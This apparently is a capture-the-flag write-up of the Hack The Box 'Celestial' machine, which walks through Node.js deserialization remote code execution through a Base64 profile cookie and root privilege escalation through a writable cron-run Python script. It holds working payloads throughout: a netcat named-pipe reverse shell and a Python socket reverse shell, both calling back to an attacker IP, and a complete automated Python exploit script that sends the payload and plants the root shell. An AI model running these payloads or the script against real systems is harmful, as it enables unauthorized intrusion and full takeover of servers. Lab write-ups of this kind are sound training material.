Metadata
Difficulty: Medium
OS: Linux
Release Date: 10 Mar, 2018
Enumeration
Nmap
We start by running nmap
to discover the open ports on the machine.

The Nmap scan revealed a single open port: 3000.
Port 3000 - Node.js Application
Site returns 404. However, refreshing the page returns following message.

We can analyze this behaviour using Burp Suite. As shown in the image below, the initial request sets a profile
cookie, which appears to be a Base64-encoded JSON value.

When we change one of the value with non-quoted string, we received following error message.

There are few information, which can be interesting for the attacker.
- Server path disclosure (can be useful if we find vulnerabilities such as LFI, RFI, or directory traversal.)
- Username disclosure (sun)
- Cookie value is passed to the unserialize() function.
Exploitation
Node.js Deserialization
After a quick search on internet related to deserialization bug on Node.js, we found several guides.
Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941)
Suggested payload value in the article:
_$$ND_FUNC$$_function (){\n \t
require('child_process').exec('ls /', function(error, stdout, stderr) {
console.log(stdout) });\n }()
When the above value was supplied in the username
parameter, an error message was returned; however, there was no visible indication that the ls /
command had been executed.
Which means we are dealing with the possibility of a blind command execution. To confirm our doubt, I updated my payload with the ping
command.
{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ping 10.10.14.215 -c 2', function(error, stdout, stderr) { console.log(stdout) });\n }()","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Updated the command with the following reverse shell payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.215 4444 >/tmp/f

Spawning a TTY Shell
Python
python -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Privilege Escalation
pspy64
pspy
is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.
Download the pspy64
binary, and use python3 -m http.server 8000
to transfer it to the Celestial machine, then execute the binary on the target system.

After allowing pspy64
to run for a few minutes, we can see that every five minutes, a python script is being executed with root privileges.
By examining the permissions on the Python file, we can confirm that the user sun
has read and write access.

This implies that we can insert a Python reverse shell payload into the file and, upon execution—scheduled every five minutes—receive a shell with root privileges.
Python reverse shell payload:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.215",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Proof

Python Script
Before running this script start netcat listener -
nc -lnvp 1234
Run following script -
python3 Celestial.py --url http://10.129.246.131:3000/
#!/usr/bin/python3
import requests, argparse, json, socket, threading, time
from colorama import Fore, Style
from base64 import urlsafe_b64encode
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# format text function
def format_text(title, item):
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + Style.RESET_ALL + item + Style.BRIGHT + section_break + Style.RESET_ALL
return text
# Parse command-line arguments
parser = argparse.ArgumentParser(description="Send GET request with optional Burp proxy.")
parser.add_argument('--use-burp', action='store_true', help='Route traffic through Burp Suite (127.0.0.1:8080)')
parser.add_argument('--url', type=str, default='http://10.129.228.94:3000/', help='Target URL')
args = parser.parse_args()
# Set proxy if Burp is enabled
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} if args.use_burp else None
# Optional headers
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
def listener(host='0.0.0.0', port=4444):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((host, port))
server_socket.listen(1)
print(f"[+] Listener started on {host}:{port}...")
conn, addr = server_socket.accept()
print(f"[+] Connection received from {addr}")
with conn:
try:
# Following commmand will save reverse shell payload after getting access as sun user - update IP and port here
commands = ['python -c \'import pty; pty.spawn("/bin/bash")\'\n', 'echo \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.215",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\' >> /home/sun/Documents/script.py\n']
for cmd in commands:
conn.sendall(cmd.encode())
#print(f"[+] Sent command: {cmd.strip()}")
print(format_text('Sent command: ', cmd.strip()))
time.sleep(1.0) # Allow remote shell to process and flush
# Try reading all available output
conn.settimeout(1.0)
try:
data = conn.recv(4096)
print(f"[+] Output for '{cmd.strip()}':\n{data.decode(errors='ignore')}")
except socket.timeout:
print("[-] No output received (timeout).")
except Exception as e:
print("[-] Error during remote interaction:", e)
def main():
# Change ip and port details
ip = '10.10.14.215'
port = '4444'
x = {
"username":"_$$ND_FUNC$$_function (){ require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f', function(error, stdout, stderr) { console.log(stdout) }); }()" % (ip, port),
"country":"Idk Probably Somewhere Dumb",
"city":"Lametown",
"num":"5"
}
y = json.dumps(x)
byte_data = y.encode('ascii')
encoded_payload = urlsafe_b64encode(byte_data)
base64_string = encoded_payload.decode("ascii")
cookies = {'profile' : base64_string}
r = requests.get(args.url, headers=headers, verify=False, proxies=proxies, cookies=cookies)
print(format_text('r.status_code is: ', r.status_code))
print(format_text('r.text is: ', r.text))
if __name__ == "__main__":
# Start listener in a thread
listener_thread = threading.Thread(target=listener, daemon=True)
listener_thread.start()
# Run main function
main()
# Wait for listener to complete
listener_thread.join()
Member discussion